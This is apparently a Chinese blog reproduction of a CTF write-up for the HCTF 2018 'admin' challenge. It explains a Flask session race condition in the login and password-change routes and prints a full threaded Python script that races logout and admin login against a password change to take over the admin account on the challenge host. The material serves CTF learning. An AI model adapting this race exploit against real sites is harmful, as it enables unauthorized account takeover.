HCTF2018-admin[条件竞争]
2024-08-28 06:57:48
附上网上师傅的wp 学习链接:
https://www.jianshu.com/p/f92311564ad0
按照师傅的wp复现一下:
源代码审计,去看路由里的login函数和change函数都在没有完全check身份的情况下,执行了session有关的赋值。
一个进程以正常账号一直依次进行登录、改密码操作,另一个进程同时一直依次进行注销、以admin用户名加进程1更改的新密码进行登录。就有可能出现当进程1进行到改密码函数时,进程2进行到登录操作,这个时候进程1需要从session中取出name,而进程2此时把session['name']改成了admin。编写脚本进行条件竞争,条件竞争结束的标志为进程2登录操作成功,即重定向到/index
import requests
import threading def login(s, username, password):
data = {
'username': username,
'password': password,
'submit': ''
}
return s.post("http://admin.2018.hctf.io/login", data=data) def logout(s):
return s.get("http://admin.2018.hctf.io/logout") def change(s, newpassword):
data = {
'newpassword':newpassword
}
return s.post("http://admin.2018.hctf.io/change", data=data) def func1(s):
login(s, 'skysec', 'skysec')
change(s, 'skysec') def func2(s):
logout(s)
res = login(s, 'admin', 'skysec')
if '<a href="/index">/index</a>' in res.text:
print('finish') def main():
for i in range(1000):
print(i)
s = requests.Session()
t1 = threading.Thread(target=func1, args=(s,))
t2 = threading.Thread(target=func2, args=(s,))
t1.start()
t2.start() if __name__ == "__main__":
main()
脚本来自:https://github.com/Whitzard
最新文章
- Spring拦截机制之后端国际化心得
- 【转载】Linux常用命令列表
- [2012山东ACM省赛] Pick apples (贪心,完全背包,枚举)
- 揭开NodeJS的神秘面纱!
- C++字符串分割
- LCS算法
- static在C和C++中的用法和区别
- AspNetPager分页实际应用
- HTML5 开发APP(MUI的一些特性)
- 第四届 CCCC 团体程序设计天梯赛 游记
- ubuntu终端
- mybatis之一对多
- NET 使用 RabbitMQ
- 【转】Docker部署Tomcat及Web应用
- ASP.NET常见异常处理示例
- Angular 简单的Get
- Linux 下 FastDFS v5.08 分布式文件系统的安装
- [HNOI 2018]寻宝游戏
- uptime命令详解
- Fiddler4无法抓取HttpWebRequest本地请求的解决办法